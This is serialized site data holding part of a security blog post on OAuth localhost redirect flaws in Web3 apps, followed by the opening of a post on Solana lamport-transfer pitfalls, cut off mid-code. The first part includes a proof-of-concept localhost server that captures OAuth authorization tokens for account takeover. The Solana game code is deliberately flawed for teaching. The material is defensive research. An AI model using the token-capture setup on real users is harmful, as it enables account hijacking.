routing",{"type":22,"tag":101,"props":74337,"children":74338},{"style":120},[74339],{"type":27,"value":154},{"type":22,"tag":101,"props":74341,"children":74342},{"class":103,"line":7876},[74343,74348,74352,74357],{"type":22,"tag":101,"props":74344,"children":74345},{"style":108},[74346],{"type":27,"value":74347}," get",{"type":22,"tag":101,"props":74349,"children":74350},{"style":120},[74351],{"type":27,"value":980},{"type":22,"tag":101,"props":74353,"children":74354},{"style":6476},[74355],{"type":27,"value":74356},"\"{...}\"",{"type":22,"tag":101,"props":74358,"children":74359},{"style":120},[74360],{"type":27,"value":1463},{"type":22,"tag":101,"props":74362,"children":74363},{"class":103,"line":7936},[74364,74369,74374],{"type":22,"tag":101,"props":74365,"children":74366},{"style":120},[74367],{"type":27,"value":74368}," call.",{"type":22,"tag":101,"props":74370,"children":74371},{"style":926},[74372],{"type":27,"value":74373},"respondHtml",{"type":22,"tag":101,"props":74375,"children":74376},{"style":120},[74377],{"type":27,"value":154},{"type":22,"tag":101,"props":74379,"children":74380},{"class":103,"line":13054},[74381,74386],{"type":22,"tag":101,"props":74382,"children":74383},{"style":926},[74384],{"type":27,"value":74385}," head",{"type":22,"tag":101,"props":74387,"children":74388},{"style":120},[74389],{"type":27,"value":154},{"type":22,"tag":101,"props":74391,"children":74392},{"class":103,"line":13072},[74393,74398,74403,74407,74412],{"type":22,"tag":101,"props":74394,"children":74395},{"style":926},[74396],{"type":27,"value":74397}," meta",{"type":22,"tag":101,"props":74399,"children":74400},{"style":120},[74401],{"type":27,"value":74402},"(charset ",{"type":22,"tag":101,"props":74404,"children":74405},{"style":166},[74406],{"type":27,"value":1511},{"type":22,"tag":101,"props":74408,"children":74409},{"style":6476},[74410],{"type":27,"value":74411}," \"UTF-8\"",{"type":22,"tag":101,"props":74413,"children":74414},{"style":120},[74415],{"type":27,"value":2510},{"type":22,"tag":101,"props":74417,"children":74418},{"class":103,"line":13117},[74419,74423,74428,74432,74437,74442,74446,74451],{"type":22,"tag":101,"props":74420,"children":74421},{"style":926},[74422],{"type":27,"value":74397},{"type":22,"tag":101,"props":74424,"children":74425},{"style":120},[74426],{"type":27,"value":74427},"(name ",{"type":22,"tag":101,"props":74429,"children":74430},{"style":166},[74431],{"type":27,"value":1511},{"type":22,"tag":101,"props":74433,"children":74434},{"style":6476},[74435],{"type":27,"value":74436}," \"viewport\"",{"type":22,"tag":101,"props":74438,"children":74439},{"style":120},[74440],{"type":27,"value":74441},", content ",{"type":22,"tag":101,"props":74443,"children":74444},{"style":166},[74445],{"type":27,"value":1511},{"type":22,"tag":101,"props":74447,"children":74448},{"style":6476},[74449],{"type":27,"value":74450}," \"width=device-width, initial-scale=1.0\"",{"type":22,"tag":101,"props":74452,"children":74453},{"style":120},[74454],{"type":27,"value":2510},{"type":22,"tag":101,"props":74456,"children":74457},{"class":103,"line":13223},[74458,74463,74467,74472],{"type":22,"tag":101,"props":74459,"children":74460},{"style":926},[74461],{"type":27,"value":74462}," title",{"type":22,"tag":101,"props":74464,"children":74465},{"style":120},[74466],{"type":27,"value":980},{"type":22,"tag":101,"props":74468,"children":74469},{"style":6476},[74470],{"type":27,"value":74471},"\"OAuth Redirect\"",{"type":22,"tag":101,"props":74473,"children":74474},{"style":120},[74475],{"type":27,"value":2510},{"type":22,"tag":101,"props":74477,"children":74478},{"class":103,"line":27496},[74479],{"type":22,"tag":101,"props":74480,"children":74481},{"style":120},[74482],{"type":27,"value":74483}," }\n",{"type":22,"tag":101,"props":74485,"children":74486},{"class":103,"line":27531},[74487,74492],{"type":22,"tag":101,"props":74488,"children":74489},{"style":926},[74490],{"type":27,"value":74491}," body",{"type":22,"tag":101,"props":74493,"children":74494},{"style":120},[74495],{"type":27,"value":154},{"type":22,"tag":101,"props":74497,"children":74498},{"class":103,"line":27539},[74499,74504,74508,74512,74517],{"type":22,"tag":101,"props":74500,"children":74501},{"style":926},[74502],{"type":27,"value":74503}," h1",{"type":22,"tag":101,"props":74505,"children":74506},{"style":120},[74507],{"type":27,"value":1479},{"type":22,"tag":101,"props":74509,"children":74510},{"style":166},[74511],{"type":27,"value":8426},{"type":22,"tag":101,"props":74513,"children":74514},{"style":6476},[74515],{"type":27,"value":74516},"\"Google OAuth Redirect\"",{"type":22,"tag":101,"props":74518,"children":74519},{"style":120},[74520],{"type":27,"value":13601},{"type":22,"tag":101,"props":74522,"children":74523},{"class":103,"line":27547},[74524,74529],{"type":22,"tag":101,"props":74525,"children":74526},{"style":926},[74527],{"type":27,"value":74528}," script",{"type":22,"tag":101,"props":74530,"children":74531},{"style":120},[74532],{"type":27,"value":154},{"type":22,"tag":101,"props":74534,"children":74535},{"class":103,"line":27556},[74536,74541],{"type":22,"tag":101,"props":74537,"children":74538},{"style":166},[74539],{"type":27,"value":74540}," +",{"type":22,"tag":101,"props":74542,"children":74543},{"style":6476},[74544],{"type":27,"value":74545},"\"document.body.innerText = location.search;\"\n",{"type":22,"tag":101,"props":74547,"children":74548},{"class":103,"line":27598},[74549],{"type":22,"tag":101,"props":74550,"children":74551},{"style":120},[74552],{"type":27,"value":74553}," }\n",{"type":22,"tag":101,"props":74555,"children":74556},{"class":103,"line":27631},[74557],{"type":22,"tag":101,"props":74558,"children":74559},{"style":120},[74560],{"type":27,"value":74483},{"type":22,"tag":101,"props":74562,"children":74563},{"class":103,"line":27639},[74564],{"type":22,"tag":101,"props":74565,"children":74566},{"style":120},[74567],{"type":27,"value":74568}," }\n",{"type":22,"tag":101,"props":74570,"children":74571},{"class":103,"line":27647},[74572],{"type":22,"tag":101,"props":74573,"children":74574},{"style":120},[74575],{"type":27,"value":74576}," }\n",{"type":22,"tag":101,"props":74578,"children":74579},{"class":103,"line":27656},[74580],{"type":22,"tag":101,"props":74581,"children":74582},{"style":120},[74583],{"type":27,"value":62882},{"type":22,"tag":101,"props":74585,"children":74586},{"class":103,"line":27732},[74587,74592,74597,74602,74606,74610],{"type":22,"tag":101,"props":74588,"children":74589},{"style":120},[74590],{"type":27,"value":74591}," }.",{"type":22,"tag":101,"props":74593,"children":74594},{"style":926},[74595],{"type":27,"value":74596},"start",{"type":22,"tag":101,"props":74598,"children":74599},{"style":120},[74600],{"type":27,"value":74601},"(wait ",{"type":22,"tag":101,"props":74603,"children":74604},{"style":166},[74605],{"type":27,"value":1511},{"type":22,"tag":101,"props":74607,"children":74608},{"style":108},[74609],{"type":27,"value":16473},{"type":22,"tag":101,"props":74611,"children":74612},{"style":120},[74613],{"type":27,"value":2510},{"type":22,"tag":101,"props":74615,"children":74616},{"class":103,"line":27765},[74617],{"type":22,"tag":101,"props":74618,"children":74619},{"style":120},[74620],{"type":27,"value":1734},{"type":22,"tag":101,"props":74622,"children":74623},{"class":103,"line":27773},[74624],{"type":22,"tag":101,"props":74625,"children":74626},{"style":120},[74627],{"type":27,"value":188},{"type":22,"tag":23,"props":74629,"children":74630},{},[74631],{"type":27,"value":74632},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":22,"tag":23,"props":74634,"children":74635},{},[74636],{"type":27,"value":74637},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":22,"tag":1760,"props":74639,"children":74641},{"id":74640},"mitigation-1",[74642],{"type":27,"value":44331},{"type":22,"tag":23,"props":74644,"children":74645},{},[74646,74648,74653],{"type":27,"value":74647},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":22,"tag":30,"props":74649,"children":74651},{"className":74650},[],[74652],{"type":27,"value":73270},{"type":27,"value":74654}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":22,"tag":53,"props":74656,"children":74657},{"id":6776},[74658],{"type":27,"value":6779},{"type":22,"tag":23,"props":74660,"children":74661},{},[74662],{"type":27,"value":74663},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":22,"tag":23,"props":74665,"children":74666},{},[74667],{"type":27,"value":74668},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":22,"tag":6891,"props":74670,"children":74671},{},[74672],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":74674},[74675,74682,74687,74690],{"id":73038,"depth":157,"text":73041,"children":74676},[74677,74678,74679,74680,74681],{"id":73049,"depth":182,"text":73052},{"id":73076,"depth":182,"text":73079},{"id":73137,"depth":182,"text":73140},{"id":73194,"depth":182,"text":73197},{"id":73293,"depth":182,"text":73296},{"id":73339,"depth":157,"text":73342,"children":74683},[74684,74685,74686],{"id":73345,"depth":182,"text":73348},{"id":73372,"depth":182,"text":73375},{"id":44328,"depth":182,"text":44331},{"id":73821,"depth":157,"text":73824,"children":74688},[74689],{"id":74640,"depth":182,"text":44331},{"id":6776,"depth":157,"text":6779},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":74695,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74696,"description":74697,"author":44447,"image":74698,"date":74700,"isFeatured":15,"tags":74701,"onBlogPage":15,"body":74702,"_type":6912,"_id":79356,"_source":6914,"_file":79357,"_stem":79358,"_extension":6917},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":74699,"height":17626,"width":17626},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[6929],{"type":19,"children":74703,"toc":79345},[74704,74708,74713,74727,74733,74738,74768,74773,74778,75816,75821,75829,75834,75840,75846,75858,75891,75903,75916,75928,76373,76378,76424,76430,76435,76522,76527,76541,76554,77217,77222,77234,77240,77251,77263,77417,77431,77450,77471,77477,77482,77827,77832,77838,77857,77871,78493,78498,78518,78523,78528,78534,78546,78567,78742,78748,78753,79054,79075,79087,79099,79183,79203,79215,79221,79233,79239,79244,79267,79279,79285,79297,79302,79308,79313,79318,79336,79341],{"type":22,"tag":53,"props":74705,"children":74706},{"id":33014},[74707],{"type":27,"value":33017},{"type":22,"tag":23,"props":74709,"children":74710},{},[74711],{"type":27,"value":74712},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":22,"tag":23,"props":74714,"children":74715},{},[74716,74718,74725],{"type":27,"value":74717},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":22,"tag":80,"props":74719,"children":74722},{"href":74720,"rel":74721},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[84],[74723],{"type":27,"value":74724},"King of the Ether",{"type":27,"value":74726},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":22,"tag":53,"props":74728,"children":74730},{"id":74729},"the-game-king-of-the-sol",[74731],{"type":27,"value":74732},"The Game: King of the SOL",{"type":22,"tag":23,"props":74734,"children":74735},{},[74736],{"type":27,"value":74737},"The game works like this:",{"type":22,"tag":6839,"props":74739,"children":74740},{},[74741,74753,74758,74763],{"type":22,"tag":6832,"props":74742,"children":74743},{},[74744,74746,74751],{"type":27,"value":74745},"Anyone can become the ",{"type":22,"tag":9370,"props":74747,"children":74748},{},[74749],{"type":27,"value":74750},"king",{"type":27,"value":74752}," by bidding at least 2× the previous bid.",{"type":22,"tag":6832,"props":74754,"children":74755},{},[74756],{"type":27,"value":74757},"The old king is reimbursed 95% of their bid.",{"type":22,"tag":6832,"props":74759,"children":74760},{},[74761],{"type":27,"value":74762},"The remaining 5% goes into a prize pot.",{"type":22,"tag":6832,"props":74764,"children":74765},{},[74766],{"type":27,"value":74767},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":22,"tag":23,"props":74769,"children":74770},{},[74771],{"type":27,"value":74772},"Simple, right?",{"type":22,"tag":23,"props":74774,"children":74775},{},[74776],{"type":27,"value":74777},"This is the core logic:",{"type":22,"tag":91,"props":74779,"children":74781},{"className":93,"code":74780,"language":95,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[74782],{"type":22,"tag":30,"props":74783,"children":74784},{"__ignoreMap":7},[74785,74800,74828,74843,74884,74891,74899,74950,74981,74988,74996,75011,75043,75050,75065,75096,75103,75110,75118,75135,75209,75217,75278,75290,75318,75358,75370,75386,75393,75401,75475,75487,75526,75554,75566,75581,75588,75596,75666,75710,75784,75791,75802,75809],{"type":22,"tag":101,"props":74786,"children":74787},{"class":103,"line":104},[74788,74792,74796],{"type":22,"tag":101,"props":74789,"children":74790},{"style":120},[74791],{"type":27,"value":26825},{"type":22,"tag":101,"props":74793,"children":74794},{"style":114},[74795],{"type":27,"value":26830},{"type":22,"tag":101,"props":74797,"children":74798},{"style":120},[74799],{"type":27,"value":24250},{"type":22,"tag":101,"props":74801,"children":74802},{"class":103,"line":157},[74803,74807,74811,74816,74820,74824],{"type":22,"tag":101,"props":74804,"children":74805},{"style":108},[74806],{"type":27,"value":17693},{"type":22,"tag":101,"props":74808,"children":74809},{"style":108},[74810],{"type":27,"value":25138},{"type":22,"tag":101,"props":74812,"children":74813},{"style":114},[74814],{"type":27,"value":74815}," ChangeKing",{"type":22,"tag":101,"props":74817,"children":74818},{"style":120},[74819],{"type":27,"value":26910},{"type":22,"tag":101,"props":74821,"children":74822},{"style":114},[74823],{"type":27,"value":26915},{"type":22,"tag":101,"props":74825,"children":74826},{"style":120},[74827],{"type":27,"value":2282},{"type":22,"tag":101,"props":74829,"children":74830},{"class":103,"line":182},[74831,74835,74839],{"type":22,"tag":101,"props":74832,"children":74833},{"style":120},[74834],{"type":27,"value":27116},{"type":22,"tag":101,"props":74836,"children":74837},{"style":108},[74838],{"type":27,"value":7760},{"type":22,"tag":101,"props":74840,"children":74841},{"style":120},[74842],{"type":27,"value":24250},{"type":22,"tag":101,"props":74844,"children":74845},{"class":103,"line":367},[74846,74850,74855,74859,74863,74867,74871,74875,74880],{"type":22,"tag":101,"props":74847,"children":74848},{"style":108},[74849],{"type":27,"value":24830},{"type":22,"tag":101,"props":74851,"children":74852},{"style":126},[74853],{"type":27,"value":74854}," throne",{"type":22,"tag":101,"props":74856,"children":74857},{"style":166},[74858],{"type":27,"value":169},{"type":22,"tag":101,"props":74860,"children":74861},{"style":114},[74862],{"type":27,"value":27081},{"type":22,"tag":101,"props":74864,"children":74865},{"style":120},[74866],{"type":27,"value":26910},{"type":22,"tag":101,"props":74868,"children":74869},{"style":114},[74870],{"type":27,"value":26915},{"type":22,"tag":101,"props":74872,"children":74873},{"style":120},[74874],{"type":27,"value":758},{"type":22,"tag":101,"props":74876,"children":74877},{"style":114},[74878],{"type":27,"value":74879},"Throne",{"type":22,"tag":101,"props":74881,"children":74882},{"style":120},[74883],{"type":27,"value":343},{"type":22,"tag":101,"props":74885,"children":74886},{"class":103,"line":398},[74887],{"type":22,"tag":101,"props":74888,"children":74889},{"emptyLinePlaceholder":15},[74890],{"type":27,"value":1581},{"type":22,"tag":101,"props":74892,"children":74893},{"class":103,"line":428},[74894],{"type":22,"tag":101,"props":74895,"children":74896},{"style":2215},[74897],{"type":27,"value":74898}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":22,"tag":101,"props":74900,"children":74901},{"class":103,"line":997},[74902,74906,74910,74915,74919,74924,74928,74933,74937,74941,74945],{"type":22,"tag":101,"props":74903,"children":74904},{"style":120},[74905],{"type":27,"value":27116},{"type":22,"tag":101,"props":74907,"children":74908},{"style":108},[74909],{"type":27,"value":7760},{"type":22,"tag":101,"props":74911,"children":74912},{"style":120},[74913],{"type":27,"value":74914},", constraint ",{"type":22,"tag":101,"props":74916,"children":74917},{"style":166},[74918],{"type":27,"value":1511},{"type":22,"tag":101,"props":74920,"children":74921},{"style":120},[74922],{"type":27,"value":74923}," old_king",{"type":22,"tag":101,"props":74925,"children":74926},{"style":166},[74927],{"type":27,"value":231},{"type":22,"tag":101,"props":74929,"children":74930},{"style":120},[74931],{"type":27,"value":74932},"key() ",{"type":22,"tag":101,"props":74934,"children":74935},{"style":166},[74936],{"type":27,"value":4340},{"type":22,"tag":101,"props":74938,"children":74939},{"style":120},[74940],{"type":27,"value":74854},{"type":22,"tag":101,"props":74942,"children":74943},{"style":166},[74944],{"type":27,"value":231},{"type":22,"tag":101,"props":74946,"children":74947},{"style":120},[74948],{"type":27,"value":74949},"king)]\n",{"type":22,"tag":101,"props":74951,"children":74952},{"class":103,"line":1032},[74953,74957,74961,74965,74969,74973,74977],{"type":22,"tag":101,"props":74954,"children":74955},{"style":108},[74956],{"type":27,"value":24830},{"type":22,"tag":101,"props":74958,"children":74959},{"style":126},[74960],{"type":27,"value":74923},{"type":22,"tag":101,"props":74962,"children":74963},{"style":166},[74964],{"type":27,"value":169},{"type":22,"tag":101,"props":74966,"children":74967},{"style":114},[74968],{"type":27,"value":29396},{"type":22,"tag":101,"props":74970,"children":74971},{"style":120},[74972],{"type":27,"value":26910},{"type":22,"tag":101,"props":74974,"children":74975},{"style":114},[74976],{"type":27,"value":26915},{"type":22,"tag":101,"props":74978,"children":74979},{"style":120},[74980],{"type":27,"value":343},{"type":22,"tag":101,"props":74982,"children":74983},{"class":103,"line":1063},[74984],{"type":22,"tag":101,"props":74985,"children":74986},{"emptyLinePlaceholder":15},[74987],{"type":27,"value":1581},{"type":22,"tag":101,"props":74989,"children":74990},{"class":103,"line":1071},[74991],{"type":22,"tag":101,"props":74992,"children":74993},{"style":2215},[74994],{"type":27,"value":74995}," /// CHECK: any writable account is allowed as a new king.\n",{"type":22,"tag":101,"props":74997,"children":74998},{"class":103,"line":1110},[74999,75003,75007],{"type":22,"tag":101,"props":75000,"children":75001},{"style":120},[75002],{"type":27,"value":27116},{"type":22,"tag":101,"props":75004,"children":75005},{"style":108},[75006],{"type":27,"value":7760},{"type":22,"tag":101,"props":75008,"children":75009},{"style":120},[75010],{"type":27,"value":24250},{"type":22,"tag":101,"props":75012,"children":75013},{"class":103,"line":1118},[75014,75018,75023,75027,75031,75035,75039],{"type":22,"tag":101,"props":75015,"children":75016},{"style":108},[75017],{"type":27,"value":24830},{"type":22,"tag":101,"props":75019,"children":75020},{"style":126},[75021],{"type":27,"value":75022}," new_king",{"type":22,"tag":101,"props":75024,"children":75025},{"style":166},[75026],{"type":27,"value":169},{"type":22,"tag":101,"props":75028,"children":75029},{"style":114},[75030],{"type":27,"value":29396},{"type":22,"tag":101,"props":75032,"children":75033},{"style":120},[75034],{"type":27,"value":26910},{"type":22,"tag":101,"props":75036,"children":75037},{"style":114},[75038],{"type":27,"value":26915},{"type":22,"tag":101,"props":75040,"children":75041},{"style":120},[75042],{"type":27,"value":343},{"type":22,"tag":101,"props":75044,"children":75045},{"class":103,"line":1158},[75046],{"type":22,"tag":101,"props":75047,"children":75048},{"emptyLinePlaceholder":15},[75049],{"type":27,"value":1581},{"type":22,"tag":101,"props":75051,"children":75052},{"class":103,"line":1166},[75053,75057,75061],{"type":22,"tag":101,"props":75054,"children":75055},{"style":120},[75056],{"type":27,"value":27116},{"type":22,"tag":101,"props":75058,"children":75059},{"style":108},[75060],{"type":27,"value":7760},{"type":22,"tag":101,"props":75062,"children":75063},{"style":120},[75064],{"type":27,"value":24250},{"type":22,"tag":101,"props":75066,"children":75067},{"class":103,"line":1215},[75068,75072,75076,75080,75084,75088,75092],{"type":22,"tag":101,"props":75069,"children":75070},{"style":108},[75071],{"type":27,"value":24830},{"type":22,"tag":101,"props":75073,"children":75074},{"style":126},[75075],{"type":27,"value":46236},{"type":22,"tag":101,"props":75077,"children":75078},{"style":166},[75079],{"type":27,"value":169},{"type":22,"tag":101,"props":75081,"children":75082},{"style":114},[75083],{"type":27,"value":27145},{"type":22,"tag":101,"props":75085,"children":75086},{"style":120},[75087],{"type":27,"value":26910},{"type":22,"tag":101,"props":75089,"children":75090},{"style":114},[75091],{"type":27,"value":26915},{"type":22,"tag":101,"props":75093,"children":75094},{"style":120},[75095],{"type":27,"value":343},{"type":22,"tag":101,"props":75097,"children":75098},{"class":103,"line":2425},[75099],{"type":22,"tag":101,"props":75100,"children":75101},{"style":120},[75102],{"type":27,"value":188},{"type":22,"tag":101,"props":75104,"children":75105},{"class":103,"line":5417},[75106],{"type":22,"tag":101,"props":75107,"children":75108},{"emptyLinePlaceholder":15},[75109],{"type":27,"value":1581},{"type":22,"tag":101,"props":75111,"children":75112},{"class":103,"line":7714},[75113],{"type":22,"tag":101,"props":75114,"children":75115},{"style":120},[75116],{"type":27,"value":75117},"#[program]\n",{"type":22,"tag":101,"props":75119,"children":75120},{"class":103,"line":7723},[75121,75125,75130],{"type":22,"tag":101,"props":75122,"children":75123},{"style":108},[75124],{"type":27,"value":17693},{"type":22,"tag":101,"props":75126,"children":75127},{"style":108},[75128],{"type":27,"value":75129}," mod",{"type":22,"tag":101,"props":75131,"children":75132},{"style":120},[75133],{"type":27,"value":75134}," king_of_the_sol {\n",{"type":22,"tag":101,"props":75136,"children":75137},{"class":103,"line":7791},[75138,75142,75146,75151,75155,75159,75163,75167,75171,75176,75180,75185,75189,75193,75197,75201,75205],{"type":22,"tag":101,"props":75139,"children":75140},{"style":108},[75141],{"type":27,"value":24830},{"type":22,"tag":101,"props":75143,"children":75144},{"style":108},[75145],{"type":27,"value":17698},{"type":22,"tag":101,"props":75147,"children":75148},{"style":926},[75149],{"type":27,"value":75150}," change_king",{"type":22,"tag":101,"props":75152,"children":75153},{"style":120},[75154],{"type":27,"value":980},{"type":22,"tag":101,"props":75156,"children":75157},{"style":126},[75158],{"type":27,"value":24271},{"type":22,"tag":101,"props":75160,"children":75161},{"style":166},[75162],{"type":27,"value":169},{"type":22,"tag":101,"props":75164,"children":75165},{"style":114},[75166],{"type":27,"value":24280},{"type":22,"tag":101,"props":75168,"children":75169},{"style":120},[75170],{"type":27,"value":123},{"type":22,"tag":101,"props":75172,"children":75173},{"style":114},[75174],{"type":27,"value":75175},"ChangeKing",{"type":22,"tag":101,"props":75177,"children":75178},{"style":120},[75179],{"type":27,"value":5555},{"type":22,"tag":101,"props":75181,"children":75182},{"style":126},[75183],{"type":27,"value":75184},"bid_amount",{"type":22,"tag":101,"props":75186,"children":75187},{"style":166},[75188],{"type":27,"value":169},{"type":22,"tag":101,"props":75190,"children":75191},{"style":114},[75192],{"type":27,"value":174},{"type":22,"tag":101,"props":75194,"children":75195},{"style":120},[75196],{"type":27,"value":901},{"type":22,"tag":101,"props":75198,"children":75199},{"style":166},[75200],{"type":27,"value":17759},{"type":22,"tag":101,"props":75202,"children":75203},{"style":114},[75204],{"type":27,"value":17764},{"type":22,"tag":101,"props":75206,"children":75207},{"style":120},[75208],{"type":27,"value":24321},{"type":22,"tag":101,"props":75210,"children":75211},{"class":103,"line":7799},[75212],{"type":22,"tag":101,"props":75213,"children":75214},{"style":2215},[75215],{"type":27,"value":75216}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":22,"tag":101,"props":75218,"children":75219},{"class":103,"line":7829},[75220,75224,75228,75232,75236,75240,75244,75248,75252,75257,75261,75266,75270,75274],{"type":22,"tag":101,"props":75221,"children":75222},{"style":926},[75223],{"type":27,"value":3675},{"type":22,"tag":101,"props":75225,"children":75226},{"style":120},[75227],{"type":27,"value":980},{"type":22,"tag":101,"props":75229,"children":75230},{"style":126},[75231],{"type":27,"value":75184},{"type":22,"tag":101,"props":75233,"children":75234},{"style":166},[75235],{"type":27,"value":12311},{"type":22,"tag":101,"props":75237,"children":75238},{"style":126},[75239],{"type":27,"value":29841},{"type":22,"tag":101,"props":75241,"children":75242},{"style":166},[75243],{"type":27,"value":231},{"type":22,"tag":101,"props":75245,"children":75246},{"style":120},[75247],{"type":27,"value":18677},{"type":22,"tag":101,"props":75249,"children":75250},{"style":166},[75251],{"type":27,"value":231},{"type":22,"tag":101,"props":75253,"children":75254},{"style":120},[75255],{"type":27,"value":75256},"throne",{"type":22,"tag":101,"props":75258,"children":75259},{"style":166},[75260],{"type":27,"value":231},{"type":22,"tag":101,"props":75262,"children":75263},{"style":120},[75264],{"type":27,"value":75265},"last_bid_amount ",{"type":22,"tag":101,"props":75267,"children":75268},{"style":166},[75269],{"type":27,"value":8615},{"type":22,"tag":101,"props":75271,"children":75272},{"style":1544},[75273],{"type":27,"value":11944},{"type":22,"tag":101,"props":75275,"children":75276},{"style":120},[75277],{"type":27,"value":994},{"type":22,"tag":101,"props":75279,"children":75280},{"class":103,"line":7837},[75281,75286],{"type":22,"tag":101,"props":75282,"children":75283},{"style":926},[75284],{"type":27,"value":75285}," transfer_from_signer",{"type":22,"tag":101,"props":75287,"children":75288},{"style":120},[75289],{"type":27,"value":1850},{"type":22,"tag":101,"props":75291,"children":75292},{"class":103,"line":7868},[75293,75297,75301,75305,75309,75313],{"type":22,"tag":101,"props":75294,"children":75295},{"style":166},[75296],{"type":27,"value":11695},{"type":22,"tag":101,"props":75298,"children":75299},{"style":126},[75300],{"type":27,"value":24271},{"type":22,"tag":101,"props":75302,"children":75303},{"style":166},[75304],{"type":27,"value":231},{"type":22,"tag":101,"props":75306,"children":75307},{"style":120},[75308],{"type":27,"value":18677},{"type":22,"tag":101,"props":75310,"children":75311},{"style":166},[75312],{"type":27,"value":231},{"type":22,"tag":101,"props":75314,"children":75315},{"style":120},[75316],{"type":27,"value":75317},"payer,\n",{"type":22,"tag":101,"props":75319,"children":75320},{"class":103,"line":7876},[75321,75325,75329,75333,75337,75341,75345,75349,75354],{"type":22,"tag":101,"props":75322,"children":75323},{"style":166},[75324],{"type":27,"value":11695},{"type":22,"tag":101,"props":75326,"children":75327},{"style":126},[75328],{"type":27,"value":24271},{"type":22,"tag":101,"props":75330,"children":75331},{"style":166},[75332],{"type":27,"value":231},{"type":22,"tag":101,"props":75334,"children":75335},{"style":120},[75336],{"type":27,"value":18677},{"type":22,"tag":101,"props":75338,"children":75339},{"style":166},[75340],{"type":27,"value":231},{"type":22,"tag":101,"props":75342,"children":75343},{"style":120},[75344],{"type":27,"value":75256},{"type":22,"tag":101,"props":75346,"children":75347},{"style":166},[75348],{"type":27,"value":231},{"type":22,"tag":101,"props":75350,"children":75351},{"style":926},[75352],{"type":27,"value":75353},"to_account_info",{"type":22,"tag":101,"props":75355,"children":75356},{"style":120},[75357],{"type":27,"value":7526},{"type":22,"tag":101,"props":75359,"children":75360},{"class":103,"line":7936},[75361,75366],{"type":22,"tag":101,"props":75362,"children":75363},{"style":126},[75364],{"type":27,"value":75365}," bid_amount",{"type":22,"tag":101,"props":75367,"children":75368},{"style":120},[75369],{"type":27,"value":179},{"type":22,"tag":101,"props":75371,"children":75372},{"class":103,"line":13054},[75373,75378,75382],{"type":22,"tag":101,"props":75374,"children":75375},{"style":120},[75376],{"type":27,"value":75377}," )",{"type":22,"tag":101,"props":75379,"children":75380},{"style":166},[75381],{"type":27,"value":5455},{"type":22,"tag":101,"props":75383,"children":75384},{"style":120},[75385],{"type":27,"value":1520},{"type":22,"tag":101,"props":75387,"children":75388},{"class":103,"line":13072},[75389],{"type":22,"tag":101,"props":75390,"children":75391},{"emptyLinePlaceholder":15},[75392],{"type":27,"value":1581},{"type":22,"tag":101,"props":75394,"children":75395},{"class":103,"line":13117},[75396],{"type":22,"tag":101,"props":75397,"children":75398},{"style":2215},[75399],{"type":27,"value":75400}," // Reimburse 95% of the last bid to the old king\n",{"type":22,"tag":101,"props":75402,"children":75403},{"class":103,"line":13223},[75404,75408,75413,75417,75421,75425,75429,75433,75437,75441,75445,75449,75453,75458,75462,75466,75471],{"type":22,"tag":101,"props":75405,"children":75406},{"style":108},[75407],{"type":27,"value":3746},{"type":22,"tag":101,"props":75409,"children":75410},{"style":126},[75411],{"type":27,"value":75412}," 